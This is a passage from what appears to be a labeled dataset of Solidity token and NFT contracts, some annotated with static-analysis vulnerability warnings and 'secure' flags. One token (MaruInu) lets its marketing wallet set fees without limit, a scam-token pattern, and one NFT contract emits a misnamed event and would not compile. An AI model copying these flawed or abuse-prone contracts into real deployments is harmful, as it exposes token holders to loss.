(shadowing-local | severity: Low | ID: 6f25c8b): EcaDegen.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 6f25c8b: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(sender, recipient, amount);\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()] - amount\n );\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: c2fe28a): EcaDegen._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for c2fe28a: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n _balances[from] = _balances[from] - amount;\n _balances[to] = _balances[to] + amount;\n emit Transfer(from, to, amount);\n }\n\n function greetingsStoners() public pure returns (string memory) {\n return \"t.me/EcaDegen\";\n }\n}",
"file_name": "solidity_code_2457.sol",
"secure": 0,
"size_bytes": 3676
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract Flux is ERC20 {\n constructor() ERC20(\"Flux\", \"FLUX\") {\n _mint(msg.sender, 440000000 * 10 ** decimals());\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 8;\n }\n}",
"file_name": "solidity_code_2458.sol",
"secure": 1,
"size_bytes": 365
} |
{
"code": "// SPDX-License-Identifier: Unlicensed\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\n\ncontract WaifuToken is Context, IERC20, IERC20Metadata {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply = (10 ** 12) * (10 ** 18);\n\n string private _name;\n string private _symbol;\n\n constructor() {\n _name = \"Waifu Token\";\n _symbol = \"WAIFU\";\n _mint(msg.sender, _totalSupply);\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n unchecked {\n _approve(sender, _msgSender(), currentAllowance - amount);\n }\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] + addedValue\n );\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n uint256 currentAllowance = _allowances[_msgSender()][spender];\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n unchecked {\n _approve(_msgSender(), spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(sender, recipient, amount);\n\n uint256 senderBalance = _balances[sender];\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n unchecked {\n _balances[sender] = senderBalance - amount;\n }\n _balances[recipient] += amount;\n\n emit Transfer(sender, recipient, amount);\n\n _afterTokenTransfer(sender, recipient, amount);\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _beforeTokenTransfer(address(0), account, amount);\n\n _totalSupply = amount;\n _balances[account] += amount;\n emit Transfer(address(0), account, amount);\n\n _afterTokenTransfer(address(0), account, amount);\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _beforeTokenTransfer(account, address(0), amount);\n\n uint256 accountBalance = _balances[account];\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n unchecked {\n _balances[account] = accountBalance - amount;\n }\n _totalSupply -= amount;\n\n emit Transfer(account, address(0), amount);\n\n _afterTokenTransfer(account, address(0), amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}",
"file_name": "solidity_code_2459.sol",
"secure": 1,
"size_bytes": 5661
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"./BaseToken.sol\" as BaseToken;\n\ncontract TokenFactory is Ownable {\n address[] public deployedTokens;\n\n uint256 public deploymentFee;\n\n event TokenDeployed(\n address indexed tokenAddress,\n string name,\n string symbol,\n uint256 initialSupply\n );\n\n constructor(\n address _fundWallet,\n uint256 _deploymentFee\n ) Ownable(_fundWallet) {\n deploymentFee = _deploymentFee;\n }\n\n function deployToken(\n string memory name,\n string memory symbol,\n uint256 initialSupply\n ) external payable {\n require(msg.value >= deploymentFee, \"Not enough ETH sent\");\n\n BaseToken token = new BaseToken(\n msg.sender,\n name,\n symbol,\n initialSupply\n );\n\n deployedTokens.push(address(token));\n\n emit TokenDeployed(address(token), name, symbol, initialSupply);\n }\n\n function getDeployedTokensCount() external view returns (uint256) {\n return deployedTokens.length;\n }\n\n function getDeployedToken(uint256 index) external view returns (address) {\n require(index < deployedTokens.length, \"Invalid index\");\n\n return deployedTokens[index];\n }\n\n function getDeploymentFee() external view returns (uint256) {\n return deploymentFee;\n }\n\n function withdraw() external onlyOwner {\n uint256 balance = address(this).balance;\n\n require(balance > 0, \"No funds to withdraw\");\n\n payable(owner()).transfer(balance);\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 4e5db88): TokenFactory.setDeploymentFee(uint256) should emit an event for deploymentFee = _deploymentFee \n\t// Recommendation for 4e5db88: Emit an event for critical parameter changes.\n function setDeploymentFee(uint256 _deploymentFee) external onlyOwner {\n\t\t// events-maths | ID: 4e5db88\n deploymentFee = _deploymentFee;\n }\n\n receive() external payable {}\n}",
"file_name": "solidity_code_246.sol",
"secure": 0,
"size_bytes": 2172
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface ERC721 {\n event Transfer(\n address indexed _from,\n address indexed _to,\n uint256 indexed _tokenId\n );\n\n event Approval(\n address indexed _owner,\n address indexed _approved,\n uint256 indexed _tokenId\n );\n\n event ApprovalForAll(\n address indexed _owner,\n address indexed _operator,\n bool _approved\n );\n\n function safeTransferFrom(\n address _from,\n address _to,\n uint256 _tokenId\n ) external;\n\n function transferFrom(\n address _from,\n address _to,\n uint256 _tokenId\n ) external;\n\n function approve(address _approved, uint256 _tokenId) external;\n\n function setApprovalForAll(address _operator, bool _approved) external;\n\n function ownerOf(uint256 _tokenId) external view returns (address);\n\n function getApproved(uint256 _tokenId) external view returns (address);\n\n function isApprovedForAll(\n address _owner,\n address _operator\n ) external view returns (bool);\n}",
"file_name": "solidity_code_2460.sol",
"secure": 1,
"size_bytes": 1141
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface ICreatorToken {\n event TransferValidatorUpdated(address oldValidator, address newValidator);\n\n function getTransferValidator() external view returns (address validator);\n\n function setTransferValidator(address validator) external;\n\n function getTransferValidationFunction()\n external\n view\n returns (bytes4 functionSignature, bool isViewFunction);\n}",
"file_name": "solidity_code_2461.sol",
"secure": 1,
"size_bytes": 465
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract Flotus is ERC20, Ownable {\n constructor(\n address initialOwner\n ) ERC20(\"Flotus\", \"FLOTUS\") Ownable(initialOwner) {\n _mint(msg.sender, 1000000 * 10 ** decimals());\n }\n}",
"file_name": "solidity_code_2462.sol",
"secure": 1,
"size_bytes": 401
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC721/ERC721.sol\" as ERC721;\nimport \"./SupportsInterface.sol\" as SupportsInterface;\nimport \"./ERC721TokenReceiver.sol\" as ERC721TokenReceiver;\nimport \"./AddressUtils.sol\" as AddressUtils;\n\ncontract NFToken is ERC721, SupportsInterface {\n using AddressUtils for address;\n\n string constant ZERO_ADDRESS = \"003001\";\n string constant NOT_VALID_NFT = \"003002\";\n string constant NOT_OWNER_OR_OPERATOR = \"003003\";\n string constant NOT_OWNER_APPROVED_OR_OPERATOR = \"003004\";\n string constant NOT_ABLE_TO_RECEIVE_NFT = \"003005\";\n string constant NFT_ALREADY_EXISTS = \"003006\";\n string constant NOT_OWNER = \"003007\";\n string constant IS_OWNER = \"003008\";\n\n bytes4 internal constant MAGIC_ON_ERC721_RECEIVED = 0x150b7a02;\n\n mapping(uint256 => address) internal idToOwner;\n\n mapping(uint256 => address) internal idToApproval;\n\n mapping(address => mapping(address => bool)) internal ownerToOperators;\n\n modifier canOperate(uint256 _tokenId) {\n address tokenOwner = idToOwner[_tokenId];\n require(\n tokenOwner == msg.sender ||\n ownerToOperators[tokenOwner][msg.sender],\n NOT_OWNER_OR_OPERATOR\n );\n _;\n }\n\n modifier canTransfer(uint256 _tokenId) {\n address tokenOwner = idToOwner[_tokenId];\n require(\n tokenOwner == msg.sender ||\n idToApproval[_tokenId] == msg.sender ||\n ownerToOperators[tokenOwner][msg.sender],\n NOT_OWNER_APPROVED_OR_OPERATOR\n );\n _;\n }\n\n modifier validNFToken(uint256 _tokenId) {\n require(idToOwner[_tokenId] != address(0), NOT_VALID_NFT);\n _;\n }\n\n constructor() {\n supportedInterfaces[0x80ac58cd] = true;\n }\n\n function safeTransferFrom(\n address _from,\n address _to,\n uint256 _tokenId\n ) external override {\n _safeTransferFrom(_from, _to, _tokenId, \"\");\n }\n\n function transferFrom(\n address _from,\n address _to,\n uint256 _tokenId\n ) external override canTransfer(_tokenId) validNFToken(_tokenId) {\n address tokenOwner = idToOwner[_tokenId];\n require(tokenOwner == _from, NOT_OWNER);\n require(_to != address(0), ZERO_ADDRESS);\n\n _transfer(_to, _tokenId);\n }\n\n function approve(\n address _approved,\n uint256 _tokenId\n ) external override canOperate(_tokenId) validNFToken(_tokenId) {\n address tokenOwner = idToOwner[_tokenId];\n require(_approved != tokenOwner, IS_OWNER);\n\n idToApproval[_tokenId] = _approved;\n emit Approval(tokenOwner, _approved, _tokenId);\n }\n\n function setApprovalForAll(\n address _operator,\n bool _approved\n ) external override {\n ownerToOperators[msg.sender][_operator] = _approved;\n emit ApprovalForAll(msg.sender, _operator, _approved);\n }\n\n function ownerOf(\n uint256 _tokenId\n ) external view override returns (address _owner) {\n _owner = idToOwner[_tokenId];\n require(_owner != address(0), NOT_VALID_NFT);\n }\n\n function getApproved(\n uint256 _tokenId\n ) external view override validNFToken(_tokenId) returns (address) {\n return idToApproval[_tokenId];\n }\n\n function isApprovedForAll(\n address _owner,\n address _operator\n ) external view override returns (bool) {\n return ownerToOperators[_owner][_operator];\n }\n\n function _transfer(address _to, uint256 _tokenId) internal {\n address from = idToOwner[_tokenId];\n _clearApproval(_tokenId);\n\n _removeNFToken(from, _tokenId);\n _addNFToken(_to, _tokenId);\n\n emit Transfer(from, _to, _tokenId);\n }\n\n function _mint(address _to, uint256 _tokenId) internal virtual {\n require(_to != address(0), ZERO_ADDRESS);\n require(idToOwner[_tokenId] == address(0), NFT_ALREADY_EXISTS);\n\n _addNFToken(_to, _tokenId);\n\n emit Transfer(address(0), _to, _tokenId);\n }\n\n function _removeNFToken(address _from, uint256 _tokenId) internal virtual {\n require(idToOwner[_tokenId] == _from, NOT_OWNER);\n\n delete idToOwner[_tokenId];\n }\n\n function _addNFToken(address _to, uint256 _tokenId) internal virtual {\n require(idToOwner[_tokenId] == address(0), NFT_ALREADY_EXISTS);\n\n idToOwner[_tokenId] = _to;\n }\n\n function _safeTransferFrom(\n address _from,\n address _to,\n uint256 _tokenId,\n bytes memory _data\n ) private canTransfer(_tokenId) validNFToken(_tokenId) {\n address tokenOwner = idToOwner[_tokenId];\n require(tokenOwner == _from, NOT_OWNER);\n require(_to != address(0), ZERO_ADDRESS);\n\n _transfer(_to, _tokenId);\n\n if (_to.isContract()) {\n bytes4 retval = ERC721TokenReceiver(_to).onERC721Received(\n msg.sender,\n _from,\n _tokenId,\n _data\n );\n require(\n retval == MAGIC_ON_ERC721_RECEIVED,\n NOT_ABLE_TO_RECEIVE_NFT\n );\n }\n }\n\n function _clearApproval(uint256 _tokenId) private {\n if (idToApproval[_tokenId] != address(0)) {\n delete idToApproval[_tokenId];\n }\n }\n}",
"file_name": "solidity_code_2463.sol",
"secure": 1,
"size_bytes": 5550
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./NFToken.sol\" as NFToken;\nimport \"./ERC721Metadata.sol\" as ERC721Metadata;\n\ncontract NFTokenCollection is NFToken, ERC721Metadata {\n string internal nftName;\n string internal nftSymbol;\n\n uint256 public nftTokenIdLast = 0;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 1d34b79): NFTokenCollection.owner should be immutable \n\t// Recommendation for 1d34b79: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable public owner;\n string public baseURI;\n\n mapping(address => bool) private whiteList;\n\n uint256 public constant MAX_SUPPLY = 10000;\n\n event NewTokenMinted(uint256 newNFT);\n\n constructor() {\n supportedInterfaces[0x5b5e139f] = true;\n supportedInterfaces[0x780e9d63] = true;\n nftName = \"CATS SAGA CLUB\";\n nftSymbol = \"CATS-SAGA-CLUB\";\n owner = payable(msg.sender);\n\n baseURI = \"ipfs://QmUwhHW3XpbCHYkEsxr8RKJihD5qH5WZeYkvTpqFj5akzV/\";\n\n whiteList[msg.sender] = true;\n }\n\n function name() external view override returns (string memory _name) {\n _name = nftName;\n }\n\n function symbol() external view override returns (string memory _symbol) {\n _symbol = nftSymbol;\n }\n\n function mint(address _to, uint256 _tokenId) internal {\n _mint(_to, _tokenId);\n }\n\n function tokenURI(\n uint256 _tokenId\n ) external view override validNFToken(_tokenId) returns (string memory) {\n return string(abi.encodePacked(baseURI, uintToString(_tokenId)));\n }\n\n function uintToString(uint256 v) internal pure returns (string memory) {\n uint256 maxlength = 100;\n bytes memory reversed = new bytes(maxlength);\n uint256 i = 0;\n while (v != 0) {\n uint256 remainder = v % 10;\n v = v / 10;\n reversed[i++] = bytes1(uint8(48 + remainder));\n }\n bytes memory s = new bytes(i);\n for (uint256 j = 0; j < i; j++) {\n s[j] = reversed[i - j - 1];\n }\n string memory str = string(s);\n return str;\n }\n\n function includeToPrivateWhiteList(address[] memory _users) public {\n require(msg.sender == owner, \"Only approved staff can act here\");\n for (uint8 i = 0; i < _users.length; i++) {\n whiteList[_users[i]] = true;\n }\n }\n\n function buyTokenNFT(\n uint256 _numTokens\n ) external payable returns (bool success) {\n uint256 amount = msg.value;\n uint256 tokenPrice;\n require(\n (nftTokenIdLast) + (_numTokens) <= MAX_SUPPLY,\n \"Collection is not more available\"\n );\n require(_numTokens <= 10, \"Max 10 Mints each transaction\");\n\n if (whiteList[msg.sender]) {\n tokenPrice = 0.02 ether;\n } else {\n tokenPrice = 0.03 ether;\n }\n\n require(\n amount >= tokenPrice * _numTokens,\n \"Not enought amount to buy this NFT\"\n );\n\n owner.transfer(amount);\n\n for (uint256 i = 0; i < _numTokens; i++) {\n nftTokenIdLast += 1;\n\n mint(msg.sender, nftTokenIdLast);\n }\n\n emit newTokenMinted(nftTokenIdLast);\n return true;\n }\n\n function setBaseURIpfs(\n string memory _baseUri\n ) external returns (bool success) {\n require(msg.sender == owner, \"Only Admin can act this operation\");\n baseURI = _baseUri;\n return true;\n }\n\n function mintTokenAdmin(\n uint256 _numTokens\n ) external returns (bool success) {\n require(msg.sender == owner, \"Only Admin can act this operation\");\n require(\n (nftTokenIdLast) + (_numTokens) <= MAX_SUPPLY,\n \"Collection is not more available\"\n );\n for (uint256 i = 0; i < _numTokens; i++) {\n nftTokenIdLast += 1;\n\n mint(msg.sender, nftTokenIdLast);\n }\n emit newTokenMinted(nftTokenIdLast);\n return true;\n }\n\n function totalSupply() public view returns (uint256) {\n return nftTokenIdLast;\n }\n}",
"file_name": "solidity_code_2464.sol",
"secure": 1,
"size_bytes": 4289
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract BasicToken is ERC20 {\n\t// WARNING Optimization Issue (immutable-states | ID: cffd9c3): BasicToken._decimals should be immutable \n\t// Recommendation for cffd9c3: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint8 private _decimals;\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: ac99f69): BasicToken.constructor(uint256,string,string,uint8,address).service_ lacks a zerocheck on \t address(service_).transfer(getBalance())\n\t// Recommendation for ac99f69: Check that the address is not zero.\n constructor(\n uint256 totalSupply_,\n string memory name_,\n string memory symbol_,\n uint8 decimals_,\n address service_\n ) payable ERC20(name_, symbol_) {\n _decimals = decimals_;\n _mint(_msgSender(), totalSupply_ * 10 ** decimals());\n\t\t// missing-zero-check | ID: ac99f69\n payable(service_).transfer(getBalance());\n }\n\n receive() external payable {}\n\n function getBalance() private view returns (uint256) {\n return address(this).balance;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return _decimals;\n }\n}",
"file_name": "solidity_code_2465.sol",
"secure": 0,
"size_bytes": 1368
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract Silver is ERC20(\"Silver\", \"SILVER\"), Ownable {\n mapping(address => bool) public managers;\n\n function addManager(address _address) external onlyOwner {\n managers[_address] = true;\n }\n\n function removeManager(address _address) external onlyOwner {\n managers[_address] = false;\n }\n\n function mint(address _to, uint256 _amount) external {\n require(\n managers[msg.sender] == true,\n \"This address is not allowed to interact with the contract\"\n );\n _mint(_to, _amount);\n }\n\n function burn(address _from, uint256 _amount) external {\n require(\n managers[msg.sender] == true,\n \"This address is not allowed to interact with the contract\"\n );\n _burn(_from, _amount);\n }\n}",
"file_name": "solidity_code_2466.sol",
"secure": 1,
"size_bytes": 1016
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IFactory {\n function owner() external view returns (address);\n}",
"file_name": "solidity_code_2467.sol",
"secure": 1,
"size_bytes": 140
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./IFactory.sol\" as IFactory;\n\ncontract TraitBase {\n struct Item {\n string name;\n string content;\n }\n\n string public name;\n IFactory public factory;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3c029cb): TraitBase.itemCount should be constant \n\t// Recommendation for 3c029cb: Add the 'constant' attribute to state variables that never change.\n uint256 public itemCount;\n Item[] items;\n\n constructor(string memory _name, address _factory) {\n name = _name;\n factory = IFactory(_factory);\n }\n\n function totalItems() external view returns (uint256) {\n return items.length;\n }\n\n function getTraitName(\n uint16 traitId\n ) external view returns (string memory traitName) {\n traitName = items[traitId].name;\n }\n\n function getTraitContent(\n uint16 traitId\n ) external view returns (string memory traitContent) {\n traitContent = items[traitId].content;\n }\n\n function addItems(\n string[] memory names,\n string[] memory contents\n ) external {\n require(msg.sender == factory.owner());\n require(names.length == contents.length);\n for (uint16 i = 0; i < names.length; i++) {\n items.push(Item(names[i], contents[i]));\n }\n }\n\n function updateItem(\n uint16 traitId,\n string memory traitName,\n string memory traitContent\n ) external {\n require(msg.sender == factory.owner());\n require(traitId < items.length);\n items[traitId].name = traitName;\n items[traitId].content = traitContent;\n }\n\n function setFactory(address _factory) external {\n require(msg.sender == factory.owner());\n factory = IFactory(_factory);\n }\n}",
"file_name": "solidity_code_2468.sol",
"secure": 1,
"size_bytes": 1889
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract EVLToken is Ownable, ERC20 {\n\t// WARNING Optimization Issue (constable-states | ID: 938baac): EVLToken.version should be constant \n\t// Recommendation for 938baac: Add the 'constant' attribute to state variables that never change.\n string public version = \"1.0\";\n\n constructor() ERC20(\"Evolve Token\", \"EVLV\") {\n _mint(msg.sender, 100000000 * 10 ** decimals());\n }\n}",
"file_name": "solidity_code_2469.sol",
"secure": 1,
"size_bytes": 598
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\n\nabstract contract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n _transferOwnership(_msgSender());\n }\n\n modifier onlyOwner() {\n _checkOwner();\n\n _;\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n function _checkOwner() internal view virtual {\n require(owner() == _msgSender(), \"Ownable: caller is not the owner\");\n }\n\n function TransferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n _transferOwnership(newOwner);\n }\n\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}",
"file_name": "solidity_code_247.sol",
"secure": 1,
"size_bytes": 1149
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract Token is Context, Ownable {\n mapping(address => uint256) public balance;\n mapping(address => mapping(address => uint256)) public allowance;\n mapping(address => bool) private isFrozen;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7034260): Token.totalSupply should be constant \n\t// Recommendation for 7034260: Add the 'constant' attribute to state variables that never change.\n uint256 public totalSupply = 10000000 * 10 ** 9;\n\n\t// WARNING Optimization Issue (constable-states | ID: ecb8b84): Token.name should be constant \n\t// Recommendation for ecb8b84: Add the 'constant' attribute to state variables that never change.\n string public name = \"Vetta Coin\";\n\n\t// WARNING Optimization Issue (constable-states | ID: e354c9e): Token.symbol should be constant \n\t// Recommendation for e354c9e: Add the 'constant' attribute to state variables that never change.\n string public symbol = \"VETTA\";\n\n\t// WARNING Optimization Issue (constable-states | ID: 00812d2): Token.decimals should be constant \n\t// Recommendation for 00812d2: Add the 'constant' attribute to state variables that never change.\n uint256 public decimals = 9;\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n constructor() {\n balance[_msgSender()] = totalSupply;\n emit Transfer(address(0), _msgSender(), totalSupply);\n }\n\n function balanceOf(address accountOwner) public view returns (uint256) {\n return balance[accountOwner];\n }\n\n function transfer(address to, uint256 value) public returns (bool) {\n require(balanceOf(_msgSender()) >= value, \"Balance is too low\");\n require(isFrozen[_msgSender()] != true, \"Account is frozen\");\n balance[to] += value;\n balance[_msgSender()] -= value;\n emit Transfer(_msgSender(), to, value);\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) public returns (bool) {\n require(balanceOf(from) >= value, \"Balance is too low.\");\n require(allowance[from][_msgSender()] >= value, \"Allowance is too low\");\n require(isFrozen[_msgSender()] != true, \"Account is frozen\");\n balance[to] += value;\n balance[from] -= value;\n emit Transfer(from, to, value);\n return true;\n }\n\n function approve(address spender, uint256 value) public returns (bool) {\n allowance[_msgSender()][spender] = value;\n emit Approval(_msgSender(), spender, value);\n return true;\n }\n\n function isFrozenAccount(address account) public view returns (bool) {\n return isFrozen[account];\n }\n\n function includeInFrozen(address account) public onlyOwner {\n isFrozen[account] = true;\n }\n\n function excludeFromFrozen(address account) public onlyOwner {\n isFrozen[account] = false;\n }\n}",
"file_name": "solidity_code_2470.sol",
"secure": 1,
"size_bytes": 3247
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract MaruInu is Context, IERC20, Ownable {\n using SafeMath for uint256;\n using Address for address;\n\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n\t// WARNING Optimization Issue (constable-states | ID: 566e564): MaruInu._tTotal should be constant \n\t// Recommendation for 566e564: Add the 'constant' attribute to state variables that never change.\n uint256 private _tTotal = 1000 * 10 ** 9 * 10 ** 18;\n uint256 private _teamFee = 2;\n uint256 private _taxFee = 11;\n uint256 private _maxTxAmount = _tTotal.mul(30).div(100);\n\n\t// WARNING Optimization Issue (immutable-states | ID: b2662cc): MaruInu._marketingWallet should be immutable \n\t// Recommendation for b2662cc: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private _marketingWallet = _msgSender();\n address private _lpAddress = _msgSender();\n address[] public _whiteList;\n address[] private _newList;\n\n\t// WARNING Optimization Issue (constable-states | ID: 29c3c84): MaruInu._name should be constant \n\t// Recommendation for 29c3c84: Add the 'constant' attribute to state variables that never change.\n string private _name = \"Maru Inu\";\n\t// WARNING Optimization Issue (constable-states | ID: 978e1a7): MaruInu._symbol should be constant \n\t// Recommendation for 978e1a7: Add the 'constant' attribute to state variables that never change.\n string private _symbol = \"MARUINU\";\n bool private tradingOpen = false;\n\t// WARNING Optimization Issue (constable-states | ID: 3c02139): MaruInu._decimals should be constant \n\t// Recommendation for 3c02139: Add the 'constant' attribute to state variables that never change.\n uint8 private _decimals = 18;\n\n constructor() {\n _balances[_msgSender()] = _tTotal;\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(sender, recipient, amount);\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 54a9d9a): MaruInu._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 54a9d9a: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function updateTaxFee(uint256 amount) public {\n require(\n _msgSender() == _marketingWallet,\n \"ERC20: cannot permit dev address\"\n );\n _taxFee = amount;\n }\n\n function updateTeamFee(uint256 newFee) public {\n require(\n _msgSender() == _marketingWallet,\n \"ERC20: cannot permit dev address\"\n );\n _teamFee = newFee;\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n function openTrading() public onlyOwner {\n tradingOpen = true;\n }\n\n function setCooldownEnable() public {\n require(\n _msgSender() == _marketingWallet,\n \"ERC20: cannot permit dev address\"\n );\n _maxTxAmount = 